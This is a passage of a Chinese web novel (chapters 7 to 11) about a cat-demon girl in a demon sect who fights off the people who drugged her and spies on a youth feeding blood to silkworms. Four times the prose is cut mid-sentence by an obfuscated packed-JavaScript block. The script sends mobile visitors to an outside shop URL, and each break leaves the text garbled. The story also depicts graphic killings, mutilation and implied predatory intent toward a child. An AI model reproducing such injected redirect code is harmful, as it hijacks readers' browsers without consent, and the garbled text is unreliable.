这一番话将香蒲哄得心花怒放,打消了疑虑开始干饭。 只是吃着吃着,香蒲就犯困了。忽然,她意识到了什么,猛地抬头:“你下毒……” 然后一闭眼,失去力气的身体直接从椅子上滑落,掉在了地上。 白嬷嬷见状大喜,自己的迷药总算起了作用,只不过迟了一些,要知道这些迷药要倒几只老虎都不成问题,香蒲居然下肚了大半都不见昏迷,吓得她以为今夜的计划要泡汤了。 见香蒲瘫倒在地上,白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405997|200514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嬷嬷上前,伸出枯瘦的手指捏在香蒲的脸颊上,仿佛要用上此生最大的力气一样。可任凭她如何作弄,带着些婴儿肥的脸颊依旧细腻光洁,没有留下半点红痕。 白嬷嬷的神色也从一开始以为大仇得报的喜悦变成怀疑,甚至最后用上了所有的力气,哪怕扯痛了被香蒲折断的手也咬着牙继续。 可香蒲就那么静静地躺在地上,呼吸匀称,面容恬静。 “啊啊啊!”白嬷嬷气急败坏,直接伸脚想踩死这贱蹄子,也不知道这贱蹄子哪里入得了孙长老的眼。 她在背地里向孙长老诉苦的时候,孙长老只是微微皱起了眉头,嘴里嘀咕着什么‘打伤了两个弟子,还是这等奇才?’ 接着便让自己退下了。这摆明就是要让她把委屈往自己肚子里咽。 白嬷嬷能在这后厨一亩三分地说一不二,谁也不想轻易招惹,可见她不是个好相与的人,要让她平白吃下这个亏是不可能的! 而像香蒲这种不服管教的小姑娘她不知见过几何,手里自然有一套惩治的法子,上至已为人妻的妇人,下至心智刚开的孩童,都逃不过她的一番手段。 就在她刚以为能从香蒲身上收点利息的时候,谁知道一脚下去却像踢到了铁板一般,震得她身形不稳,痛苦地缩回脚来。 妖人,这果然是个妖人!香蒲身上的神异之处终于让白嬷嬷清醒了些许,为了避免夜长梦多,她连忙扛起香蒲,往灶房后厢房走去。 白嬷嬷一瘸一拐费劲地将香蒲扛过去,中途甚至闪了腰,抽痛让她忍不住想将香蒲放下来歇一会儿。可一想到在这个死丫头身上吃的亏,一下子又精神起来。忍着痛按时将香蒲带到了后厢房。 “吱呀——”房门被打开了。 里头的中年男人早早就在里头等着了。 “人带来了。” “少不了你的,”白嬷嬷咬着牙费劲地将香蒲搬了进来,“也不知道过来搭把手。” 男人显然是没少和白嬷嬷做这种勾当,立刻从她手中接过香蒲,白嬷嬷松了一口气,然后反手将门闩挂上,又拍了几下,确定从里头也难以推开,才满意地点头。 白嬷嬷回头,脸上的神情因为即将来临的大仇得报而扭曲,透露出一种癫狂的兴奋。 “贱人,这次让你生不如……” 白嬷嬷的瞳孔骤然缩成了一个针尖,而香蒲不知道在什么时候已经苏醒。 “抓住她!”白嬷嬷惊叫出声。 男人显然没见识过香蒲的神力,压根没反应过来,香蒲就像游鱼一样从桌子上滑下,再一眨眼已经跑到了门外。 “哎哟!”白嬷嬷着急得直叫唤,“你快抓住她!” “怕什么,”男人不屑一顾,“你不是都将门锁了吗?” “砰!”一声巨响之下,男人面色大骇。 只见刚刚那个还昏睡倒在桌子上犹如待宰猪羊的女娃娃竟然徒手拆下了门闩! 唰唰—— 香蒲将手中的门闩朝着空气挥舞两下,发出破空之声,香蒲点了点头,似乎挺满意这件武器的趁手程度。 “你们到底懂不懂什么叫做狩猎?” 接着,香蒲提着门闩就冲了上来。 8. 第 8 章 见香蒲朝自己冲过来,男人也露出了兴奋的笑容,小孩子越是挣扎、叫声越大,他心里就越舒爽,他直接双脚一跨,打开户门,打算和香蒲玩一场猫捉老鼠。 但下一刻,他就觉得自己的腰子受到了前所未有的重击,笑容还来不及回收,脑子已经一片空白,刹那间,他甚至以为自己已经死了。 “救,救命……”门闩重重地打击在他的腰椎处,宛如被腰斩一般,他直接跪倒在地,而后噗通一下整个人朝地面倾倒——香蒲一击就直接打断了他的腰椎,从此沦为废人。 白嬷嬷见到这一幕已经被吓傻了,连滚带爬地推开门想要冲出去,可一道裂风呼啸从后方刮过,她忽感双膝一阵剧痛,一头往前方栽倒。 香蒲的瞳孔因为狩猎成功的兴奋在一瞬间恢复成了竖瞳,黑色眸子的边缘甚至散发着隐隐压抑不住的金色。 她舔了舔嘴唇,一个都没有放过,很好。 白嬷嬷暂不为惧,香蒲蹲在了男人身边,看着刚才还一脸□□的男人此时如同废物一样趴在地上,只有两只手在地上艰难爬行,在做最后的挣扎。 香蒲一把抓住了他的头发,“你是灶房的人,应该有好吃的吧?” “姑、姑奶奶,是小的有眼不识泰山,求求,求求您饶我一命……” “废话真多,”香蒲提着头发让他被迫抬起头来,“你房间里有藏着好吃的吗?” 可男人显然是一副被吓傻的模样,还在絮絮叨叨地求饶,“我床底下有钱,有很多钱,有两大串的铜板……” “邦!邦!邦!” 香蒲的手上用力,狠狠地拽着男人的头砸在地面上,这人还不老实,苏采薇可是告诉过她,在这里仆役是不允许藏有私房钱的,而且有钱也没用,因为仆役根本不需要‘改善生活’,因此也不会有人和他们做交易。 “给你,我什么都给你。”男人满脸的血污,头顶上传来的巨大力量一下子击溃了他所有的心理防线,怪物,这个女人绝对是怪物!这根本不是一个小孩儿应该有的力量。 “有好吃的吗?” “有有有!一定有!”男人觉得自己的头皮都要被掀下来了,“在床底下,有钱!有粮!” “唔,那还差不多。” 听到香蒲的话,男人松了一口气,可下一刻,脑壳猛地被一震巨力砸下! 香蒲踢了两脚,确定人已经彻底失去了意识,才将他丢下。 白嬷嬷自然也没被香蒲落下,同样被她检查了一番,只不过白嬷嬷似乎更加胆小,早在被门栓打中后脑勺的时候就直接晕死在了地上。 * 半夜。 苏采薇缩在被窝里面,旁边传来推搡的力道,但她还是努力撑开一小块儿的距离,给香蒲留了一个位儿。 只不过左等右等,香蒲也没有出现。她心里止不住地有点气,虽然只和香蒲相处了短短几日,但她太了解香蒲了,她一定是在外头吃饱了,玩够了,才会回来。说不定已经将今早的话忘了个干净,毕竟她看起来就是没心没肺的模样。 这事儿越想越不能深思,苏采薇活活让自己生了一肚子的闷气,她不是真的贪图那两口吃的,只是讨厌有人骗她,如果不是有人欺骗她……自己又怎么会沦落到这个鬼地方。 忽然,苏采薇觉得脚丫子一凉。 下意识地想要尖叫出声,却被一个黑影压上身来,伸出手捂住了她的嘴巴。 “嘘,我回来了。” 苏采薇的泪花才刚刚出来,就被生生地憋了回去,咬着牙低声骂她:“你好端端地抓我脚干嘛?” 香蒲停顿了一下,似乎在仔细思考,而后给出回答:“习惯了。” 还没有化形之前,山里的妖都是这样逗她的。会故意坐在高高的树上,特意垂下一只脚、一截尾巴,或者是一片衣摆,充当逗猫棒,看着自己在树底下转圈圈。但似乎……两脚兽没有抓脚的习惯? 香蒲在心里的小账本上记下了一笔,两脚兽是不会玩脚的。 “谁教你的坏习惯,以后可不能那么没规矩了……” 苏采薇还在念念叨叨,似乎想通过碎碎念驱散心里那片可怕的阴影。 而香蒲压根没有把她的话听进去,反而献宝一般将自己的战利品放到了她嘴边,似乎想要堵住她的嘴。 苏采薇犹豫了一秒,接着还是试探性地咬了一口。甜丝丝的味道让她眼圈一红,刚刚憋回去的眼泪又重新凝聚,自从被拐来这个鬼地方,她就再也没有尝过甜食。 “白糖糕,是不是很好吃。” 苏采薇愣愣地看着香蒲,在微弱的月光下,她看见香蒲蹲在了她前面,双手托着腮帮子笑嘻嘻地看着自己。 她努力吸了吸鼻子,蹑手蹑脚地爬下床,悄悄推开门离开屋子。 仆役院的屋子从来都没有锁,连门栓都没有一根,这就是她一直提心吊胆的原因。好在这日子够折磨人,晚上大家都几乎是睡得昏死过去,尽管年久失修的木门发出了嘎吱嘎吱的声音,也没有惊醒任何人。 一出门,苏采薇就狼吞虎咽起来。 香蒲见状,又给了她一块。 苏采薇犹豫了一下,还是接过了,但却没有马上放嘴里,“你还有几块,可以留到明天后天吃。” “是吗,我数数。”香蒲摊开帕子,“一、二、三……五。” “还有五块!”香蒲高兴地向苏采薇宣布,可一抬头,却是看见苏采薇骤然变得惨白的脸。 “你这东西哪来的?” “嗯?” “我问你,你这东西哪里来的!”苏采薇忽然如同疯了一样摇晃起香蒲的肩膀,连同方才的白糖糕掉到地上也不在意。 “我打架打赢了……” 还未等香蒲说完,苏采薇一手打在了香蒲拿着糕点的手上。可香蒲只是稍微地举高了一些,就让苏采薇的算盘落了空。 ——干瘪的小手在空中扫了一下,堪堪和两条系带擦过。 剩余的五块白糖糕在小小的粗麻布上静静地躺着,月亮高悬,将一切都真真切切地映入了苏采薇的眼睛里。 那块小小的棉麻布,分明是一块小肚兜! 那么小的一块肚兜……苏采薇忽然觉得浑身发寒,不敢深思。 “不吃就不吃,摔它干什么?”香蒲毫不在意地拿起一块,三两下就嚼碎进了肚子里。 被猛地提醒,苏采薇止不住地干呕起来,半晌才平复肚子里翻腾的感觉,“你知道那是什么?” “白糖糕?” “是那块布!” “布?”香蒲担心苏采薇再糟蹋食物,三两下就将所有糕点都解决了,这时才有闲工夫将那块包着糕点的布摊开,仔仔细细打量。 “有什么不妥的吗?”香蒲无师自通地提起几根带子,打了一个结,变成小包袱的模样,“还挺好用的,我刚才就是这样提回来的。” 苏采薇的脸色此时苍白地吓人,怒火褪去了大半,却用一种复杂的情绪看向香蒲:“你不知道这是何物吗?” 香蒲摇摇头,她才初入人间,哪里懂得那么多两脚兽的规矩。 “但像你这般大的姑娘,应该都有肚兜儿了。” 香蒲的悟性极强,她听懂了,这是她的肚兜。 但她摊开往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405998|200514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己身前比划了一下,实诚道:“太小了,穿不下。” 肚兜要比香蒲小一圈,系带绕了肚子一圈之后只多出小拇指长度,显然是不可能系上了。 苏采薇神情复杂,虽然知道香蒲不通人事,可没想到是‘不通人性’! 她只能叹了一口气,没有再多跟香蒲说什么。只是这块肚兜大概会成为她好几天的噩梦。 后厨偏房里的那两人在第二天就被抬到了丑姑面前。 身为仆役院的总管兼任血刑堂堂主,丑姑不可能记住一个小小灶房的奴仆。她瞥了一眼底下的下属,花零立即上前,仔仔细细将昨夜的事情汇报。 “缘由便是这般,而香蒲将一人的腰椎打断,一人手骨尽数折断。”这二人一人趴着,一人则是勉强撑起身子行礼,倒也不难辨认伤口。 “香蒲是谁?”丑姑忽然问道。 花零错愕的表情只是存在了一秒,便解释道,“就是堂主让属下多加注意的那个人畜。” “原来那个力气大的死丫头。居然还未给她赐名么?”丑姑轻笑一声,“若是想要在这魔教活下来,这原本的名字可就留不得了。” 丑姑眼波流转,落在了狼狈不堪的二人身上,“你们知道我的规矩。” “知道,自然是知道。”白嬷嬷连忙应声。 男人也跟着道,“技不如人,是奴才自找的。” 听丑姑刚才一番话,看来是准备保下那丫头了。他怨毒地看了白嬷嬷一眼,白嬷嬷并没有告诉自己那个丫头在丑姑面前露了头,本来以为只是和从前一般,是个无权无势的丫头片子。 男人气得牙痒痒,等这一关过去了,他必然要白嬷嬷给个交代。 丑姑:“我也并非什么心狠之辈,瞧你们的样子,请上医者好好调养,也得恢复三五个月的,干不了什么重活了。” “不牢堂主费心。”二人齐声开口,互相对视一眼,都从彼此的眼中看见了惊恐。身为魔教的老人,他们自然知道这句话的含义,魔教最不缺的就是人,也从不养闲人!请医者?根本就是无稽之谈! 丑姑的笑容越发灿烂,“我也并非什么大恶之人,花零,将他们带入后山炼骨地,给他们一个痛快。” “不、不要!” “求堂主开恩!” 二人惊恐大叫,男人更是直接被吓尿了裤子,一股骚味弥散开来。花零眉头微蹙,微微抬手,一枚飞镖直接穿过男人的咽喉。男人的声音戛然而止,直挺挺地倒下。 白嬷嬷失声尖叫,又是一道黑影,另一枚飞镖以同样的方式结束了她的性命。 “请堂主恕罪,”花零跪下行礼,“只是他们太过粗鄙,辱了这血刑堂,属下这才出手将他们解决。” “随你。”丑姑抬抬手,“香蒲呢,你去将她带过来。杀了我一名得力干将还想轻飘飘地揭过,我这地儿可没有这等好事。” 花零心里一悬,没有想到堂主居然对一个新来的人畜如此上心,她思索再三,还是将前几日的见闻说了出来,“堂主,这几日她似乎与哑妇相处得不错。” 丑姑的脸色骤然一沉。 一道长鞭自袖口滑出,如同长了眼睛一般抽在了一直跪在一侧,犹如雕塑一般的少年身上。 一记下来,皮开肉绽,螺纹状的鞭尾卷着细微的血肉落在地上,在地板拖出一道蜿蜒的血痕。 一滴冷汗自宋昭雪的额间滑落,在地上摔成了八瓣,除此之外,再无声响。 他已经习惯了。 丑姑癫狂的神色宛如从地狱中爬出来的恶鬼,“好好好,这日子倒给她过美了不成。你去给她们一点教训!” 9. 第 9 章 白嬷嬷的失踪似乎没有掀起多大的波澜,即便众人发现午膳分发饭菜的嬷嬷换了一个年轻的婢女,也没有多少的好奇。 一是仆役院的‘老人’本就不算多,二是他们心里也清楚,即便是所谓的白嬷嬷,也不过是上等奴仆罢了。 每个人的脸上都带着如同同一个模子刻出来的麻木,他们排队领饭,领到的只有属于自己的那可怜一点儿份量的伙食。 而此时,香蒲垂头丧气地从外头回来。她今天本来如同往常一样打算去白嬷嬷那里蹭饭,却不料被告知着白嬷嬷已经死了的消息。 香蒲大受打击,从奢入简难,吃过白嬷嬷那里的小葱炖豆腐就很难回到以前那种吃麦麸的日子。 她耷拉着脑袋回到仆役院,正巧遇见新的嬷嬷在分发饭食,她掏出自己从白嬷嬷那里顺来的饭,也汇入了队伍之中。 队伍不长,很快就轮到了香蒲。忽而,那双打饭的手一顿,香蒲轻飘飘的眼神一扫,映入眼帘的是一张似曾相识的脸。 那双手立刻放下了饭勺,而后搭在了香蒲的手背上,“原来是香蒲大人,大人怎么能够吃这些简陋的饭食。” 香蒲定定地看着这张陌生的面容,但很快,女子脸颊侧尚未褪去的青紫色让香蒲记起了她的身份。 “你是之前在白嬷嬷身边伺候的婢女?” “正是奴婢。白嬷嬷暴毙之后,她的活计便落到了奴婢身上。”见香蒲认出来了,女子的笑容更加真切了,“大人,若不嫌弃,等会儿可以到奴才屋子里头用膳。” 香蒲的脸色肉眼可见地明媚起来。小猫咪就是如此地好哄。 成功拉拢香蒲,丹桂的心里悄然松了一口气,虽然她时常被白嬷嬷打骂,可也正因为如此,她知道白嬷嬷许多不为人知的秘密,例如她打算对香蒲做什么,也知道她是怎么死的。 香蒲已经在丑姑那里露了脸,凭借丑姑的性格,只要香蒲不死,地位迟早会超过自己。 她是一个善于学习的人,白嬷嬷给自己拉拢了孙长老门下的教徒,而自己也需要一个盟友,而香蒲就是她下的注。 而香蒲完全不知道有人对自己抱着这般心思,大大方方地接受了示好。 用完膳之后便是一天的任务。香蒲提着一桶草木灰往坑里头倒,然后拿着铲子均匀搅和之后,将其铲到桶里头,给哑妇送过去。 而当香蒲提着桶出来的时候,却遇见了一位不速之客。 其实香蒲老早就看见那人站在树荫底下,仿佛在等谁,她没有在意,大摇大摆地路过。 忽然,一记飞镖朝香蒲手中的木桶袭来。 香蒲一个后跳,双腿在一瞬间爆发出远超同龄人的力量,轻松躲过了一击,脸不红气不喘的,就连压在肩膀上的扁担都稳稳当当,没有丝毫被偷袭到的慌乱。 可香蒲高兴得太早了——扁担两头的木桶摇摇晃晃,随着一个翻滚,里头装着的草木灰和大大小小被铲出来的粪球漫天飞舞。 花零和香蒲二人的瞳孔下意识地紧缩,前者万年不动的冷艳神色在一瞬间出现了裂痕,试图在这粪球雨中四处躲避。 而香蒲身处事故的正中心,脑海中无数补救的法子闪过,最后她绝望地发现根本没有不用妖力的方法,只好原地抱头蜷缩,起码能保住自己的正面。 四周的灰雾纷纷扬扬,好一会儿停歇。 香蒲重新探出头来,盯着花零一言不发,只是默默地拾起了扁担。 花零则是痛苦地闭上了眼睛,似乎是不想看见自己衣裳上面深一道浅一道的痕迹,良久,她才做好了心理准备,执行丑姑的最后一道命令。 “这是堂主给你的一点警告,今后你自求多福。” 花零不愧是跟随丑姑最久的教徒,能将她的心思琢磨个七八分。丑姑没有直接让自己取了香蒲的性命,只是说给她一些教训,就说明不想伤其根本,给她使一点儿绊子得了。 她的本意是将木桶击碎,给香蒲带来一点不大不小的麻烦。但没想到这丫头身手竟然如此敏捷。 她无言地注视着香蒲,眼神仿佛在说‘不识好歹’。 但花零若是多打听香蒲的一些消息,就会知道她是出了名的不知好歹。 猫猫的报复心很重,直接抄起了扁担就迎上去,“你这个坏女人!” “疯子?”花零根本不知道香蒲在发什么癫,自己不是已经自曝身份,乃是丑姑座下门人吗? 作为丑姑座下第一人,花零武功在教内也是排得上号的,自然不是香蒲之前殴打的那几个仆役可比,轻松躲避犹如疯子一样挥舞扁担的香蒲。 最后施展轻功落在树梢上。她睥睨看向香蒲,仿佛在看一只不自量力的蝼蚁,但下一刻,她脸上淡然的神情再次被打破。 只见香蒲腿一蹬,一下子跳到了树干中央,宛如一只野猴子一样疯狂地向上攀爬! 不过瞬息间,已经到了树顶,香蒲一跃至树梢上,长长的扁担似乎下一刻就要戳过来。 “你是猴子吗!?”花零彻底失态,不想再和此人纠缠,运起轻功三两下就消失在香蒲的眼前。 香蒲望着花零消失的方向,一腔怒火无处可发,可恶的两脚兽,就知道折腾她这只无害的小猫咪,下一次别让自己见到她! 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405999|200514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着香蒲愤怒地一掌劈断了树干,而后稳稳地落在地上,看着满地的粪球和草木灰,面无表情地打扫起来。 即便她再不爱洗澡,可今天确实是被折腾惨了,连发缝里都是灰扑扑的草木灰。先不提她现在是人形,根本没办法给自己舔到头顶,再说了……自己也根本下不去嘴。 香蒲叹了一口气,打算先处理完今日的活计再说,可回到丙三号院子,却发现这里的情况可比自己糟糕多了。 本来应当好好放置的十二个大缸倒的倒破的破,检查一番被损毁之处的痕迹,香蒲确定和阻拦自己的同一人。 “哑妇,哑妇你在吗?”散落一地的潲水、草木灰、粪便的味道干扰了香蒲的嗅觉,她找不到哑妇的气味。 但好在,她的听力还是灵敏的,她冲入了房中,在床底下找到了发出“嗬嗬”声音的哑妇,嘴巴大张着,像鼓着风的衣裳。 黑暗中,香蒲看清了哑妇口中的缺失。 她之所以哑,并非被毒药弄坏了嗓子,而是被割了舌头,尽头处的棕色肉块团成了一坨,难以辨认,可咽喉两侧却有一道细长的伤疤,就像是被缝衣针生生缝好一般。约莫是被人用什么利刃直接割掉的。 但这些都与香蒲无关,看见哑妇没有性命之忧,只是被吓到了,香蒲就重新放下了帘子,任由哑妇继续躲在黑暗之中。 只是来到院子里头默默扶起了大缸,简单地清扫起来。哑妇又瘦又小,若只靠她一人想把大缸扶起来,怕是要钻进去将里头的东西全部掏出,待将大缸重新立起来之后再一点点地将东西重新倒回去。 花零下手是有分寸的,并不是什么伤筋动骨的教训,小惩大诫的力道掌握得刚刚好。只是她终究还是低估了香蒲的天生神力。即便院子里头一片狼藉,对于香蒲来说只不过是多花几个时辰的事。 等到月明星稀之时,香蒲总算清理好了一切,哑妇已经在床底沉沉睡去,手脚时不时抽搐一下,像是梦见了什么可怕至极的事情。 香蒲没有去丹桂那里吃饭,经过一下午的劳作,她浑身更臭了,虽然祛尘诀也能解决,但心理上却过意不去。 她不得不去洗澡了。 只是香蒲还记得,苏采薇警告过自己,一旦天黑之后,仆役院的澡房就不能用了,哑妇这里院子情况更加糟糕,所以自己只能随便找条小河清洁一下。 得益于自己的活计,这地方的地图都刻在了脑海中,但那些地方都不能去。得找个人迹罕至,寻常人绝对不会去的地方。 倒不是香蒲有了什么男女大防的意识,而是她打算将自己的兽形也一并洗洗,那就得小心行事了。 10. 第 10 章 “哗啦~” 潭水像一块被岁月封冻的白玉,水面弥散着终年难散的冷气,一件件衣裳被脱下,放在微高的怪石上。宋昭雪温热的身体缓缓地没入,殷红的鲜血一点点地从皮肤脱落,化作一抹淡粉色融入冷冽的潭水中。 忽而,水面微微荡漾起来,轻轻地一起一伏,仿佛活物在呼吸。 宋昭雪紧闭的眉眼没有一丝动弹,这里的一草一木早就熟悉无比,自然知道自己的鲜血即将吸引来什么。 ——是虫。 无数的、肥硕的、宛如鱼群一般白虫。 以及潭水深处,绝对不应该存在的人! 无数白虫从自己的头顶游曳,密密麻麻的虫潮让香蒲头皮发麻,即便她是妖,也鲜少见到如此骇人的场面。 她比宋昭雪要来得早。 香蒲并不知道此地为禁地,也不知道今日会有人来,只是觉得这潭水冰冷刺骨,不适宜两脚兽泡澡,但她是妖,她不怕,所以就来了。 只是万万没有想到如此不巧,险些被人撞见。于是香蒲干脆潜入水底,靠着避水诀也灵活得宛如一尾黑鱼。 眼见眼前就有一桩异事,香蒲好奇地随着白虫一起上前,然后停在了距离宋昭雪三尺处。香蒲露出毛茸茸的头发和一双黑溜溜的眼睛,直勾勾地盯着少年的方向。 白虫在触及逸散的血液的时候停滞了一瞬,而后翻腾起来,香蒲再一眨眼,逸散在水中的血液就已经消失得干干净净。 香蒲心里有了猜测,果然,白虫们下一步就是往这不断在流血的少年继续游去,这些稀薄的血液已经无法满足它们刚刚被勾起的食欲,开始贪婪地向少年的身体逼近,攀爬,接着附着于伤口处,大口地吮吸起来。 香蒲的嘴巴因为惊讶微微张开,她还是头一次见到此等邪术。眼睛滴溜溜地转了一圈,她打着大胆往前游了一些。 少年没有动静。 香蒲又游动了一个身位,如今离少年不到半个手臂的距离。 依旧没有动静。 香蒲开始大胆起来,一下子潜入水底,而后默默地出现在了宋昭雪的身侧,香蒲聚精会神地盯着攀爬在宋昭雪皮肤上面的白虫,似乎要将它看出一朵花来。 单条的白虫很短,还不到香蒲的小拇指长,瘦瘦小小的,如果硬要香蒲评判,乍一眼看过去,大概和粪坑里的蛆虫有亲缘关系。但在细微之处还是有较多的不同,黑褐色、多细毛,形似蚂蚁,而随着吸食的血液增多,这些白虫开始迅速地生长、发育,体格变得肥硕,身长缩短,而后仿佛加速一般就地开始吐丝结茧…… 直到这里,香蒲才恍然大悟,原来这种虫子居然是蚕虫。随着大量的鲜血入肚,蚕虫整个身子鼓胀起来,浑身散发着淡淡的金芒,而后吐丝结茧,最后竟然结成了一个金灿灿的蝉蛹,不多时,就有蚕蛾破茧羽化,全身覆赤红色鳞毛,看起来格外瘆人。 蚕蛾将束缚住自己的蚕蛹留在原地,自己则是挣扎出来,张开翅膀,散发着吸引同类□□的气味,往深处飞去。 这和香蒲所知的任何一种虫子都不一样,如此迅速地成长、衰老,而与快速生长的蚕虫相反的是,这个少年本来孱弱的心跳一点点地变得有力起来,就像是……就像是在快速地榨取这些蚕虫的生机! 这是什么邪术? 香蒲的好奇心彻底被勾起,她偏偏头,视线落在了少年紧闭的眼睫上,纹丝不动,看起来就像什么都没有发觉一样。 香蒲咽了咽口水,胆子变大起来,伸出小手跃跃欲试,想抓一只这种古怪的虫子回去研究,但同时也没有完全丧失警惕。她一只眼睛盯着吸食血液的蚕虫,另一只眼时刻注意着少年的动静。 忽然,她出手了,食指与中指如同闪电一般伸出,精准地夹中了最为肥美的那一只,可就在收回手的时候,变故陡生! 香蒲被人擒住了手腕! 香蒲当断则断,手腕顺着对方虎口方向向外旋转,或许少年根本没有想到来袭击自己的人竟然要比自己小,手腕要比自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406000|200514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 预估的纤细得多,竟然就这么让人挣脱。 宋昭雪当机立断,伸手在自己的下颚划出一道新鲜的伤口,涓涓流淌的血液顿时吸引了附着在眼皮上面的冰蚕,待到冰蚕完全离开,他以最快的速度睁开了眼。 而就在他睁眼的前一刻,香蒲立即沉入水底,逃之夭夭。 寒潭一片平静,完全看不出有过来客的模样。 宋昭雪的神色犹如古井无波,他没有困惑,没有治疗被打扰的愤怒,只是在环顾一圈之后,将那只曾经短暂与贼人相触的手放在了鼻下,嗅到微微的腥臭味。 食指与拇指的指腹摩挲,手感干涩,似乎从那贼人身上刮下了什么东西。莫非是某种古怪的药粉,这才能解释为何那人能够神不知鬼不觉地闯入禁地之中。 但事已成定局,贼人显然已经逃远了,宋昭雪运转起心经,身上的肌肉一点点地绷紧,生生地将不断流血的伤口挤压成了一条缝。 随着血腥味的越来越淡,蚕虫开始对宋昭雪失去兴趣,逐渐沉入寒潭深处。 * 宋昭雪从禁地出来,不自觉地抬头看了一眼月亮,又大又圆,今日正好是十五。 他想起自己身上的伤口,若是加上疗养的丹药,三五日之后就能完全愈合,血腥味完全散去之后,便可再次潜入藏书阁,去寻那《天蚕九变心经》的下册。 宋昭雪回到血刑堂,远远就看见一道俏丽的倩影走来,随着走动,一缕香风送入他的怀中。他抬头认出了来人,正是花零,此时她约莫刚刚沐浴完,长发披肩,发梢微微湿润,宛如出水芙蓉。 但在这皂角的清香之下,宋昭雪分辨出了那似曾相识的气味。 很淡很淡,但擦肩而过的瞬间,他确定了。 “花零护法。”宋昭雪朝她点了点头,算是打招呼,两人并肩而行,一同进入血刑堂。 可忽然,宋昭雪的脚步慢了一拍,那双漆黑如墨的眼眸倒影着花零的背影,他叫停了她:“护法今日是将自己弄湿了吗?” 11. 第 11 章 深夜,香蒲轻车熟路地将苏采薇往旁边推了推,给自己腾出一点儿位置来。 苏采薇本来睡得好好的,可忽然觉得好像掉入了寒冬腊月一般,冷得她一哆嗦,就睁眼了。 夜色中,她和香蒲四目相对。 “醒了?”香蒲没有丝毫叨扰到旁人的自觉,还大言不惭:“往旁边给我挪挪,你挤到我了。” 苏采薇没理她,反而是摸了摸她的手,压低着声音:“你的手怎么这么冻?” “在外面洗了个冷水澡。” 苏采薇皱着的眉头缓缓松开,如今虽然是夏季,可不过是刚过清明,大晚上的被风一吹还是有些冻人的。 “怎么忽然想开了,之前给你烧好了热水你都不肯去,现在愿意去‘受罪’了?” “我掉粪坑里了。”香蒲平静地选择了一个近似的说法。 耳旁的声音戛然而止。回应她的是苏采薇默默拉远了一条细胳膊的距离。 未竟之语被苏采薇生生咽下,她刚才还想说,如果香蒲之后的大夏天也夜晚洗澡就好了,毕竟冰冰凉凉的,挨着就像放了一个冰鉴,还挺舒服的。 香蒲不知道她在想什么,还开心苏采薇给自己留了更多的位置,给自己调整好一个舒服的姿势之后,她松开了一直紧握的右手,举在眼前细细端详。 ——正是她从寒潭里面带回来的蚕虫。 白白嫩嫩,此时却软趴趴地躺在自己的两指之间,生机已绝。其实早在出寒潭的时候香蒲就发现了,一旦离开那股寒气,这些还未化形为蛾的蚕虫就会飞快地死去。寻常温度对于它们不亚于烈焰。 香蒲的指头点了点,试探性地输入一丝妖力进去,小小的身躯立即就被填满,可出乎意料,此举非但没有激活一丝生机,整条蚕虫还在迅速地干瘪,最后变成了一条扁扁的虫干。 奇怪,真的是太奇怪了。 “你不睡觉,在干什么?”苏采薇又贴了过来,因为大通铺实在是太挤了,于是她决定容忍香蒲一晚。 可一抬头,她就看见耷拉在香蒲手指上面的白色条状。 苏采薇眼前一黑,“这是什么?” “虫干。”香蒲用词准确。 “是从……?” “不是。”香蒲指尖弹了一下,虫干就越过窗台,径直落在了外头。 做完这件事,香蒲自如地扯了一下被子,“好了,睡觉吧。” 苏采薇半信半疑,仿佛在思考香蒲会不会一个翻身又从衣服兜儿里面掉出一把虫子。 因此,她完全没有注意到香蒲已然反客为主地盖走了她大半的被子。 * 同样经历难眠之夜的还有宋昭雪。 他回到了自己独立的小院,由于身份特殊,他自然不会如同仆役一样住着简陋的茅房,也并非“高一级”的木屋,而是正正经经的砖墙瓦房。 只是和其他主子相比,他这小院要显得破败不少。 还未入门,宋昭雪就听到了里头的动静,那是奔跑的声音。他才刚刚把门推开了一条缝,一只毛茸茸的脑袋就迫不及待地从门缝里头拱出来。 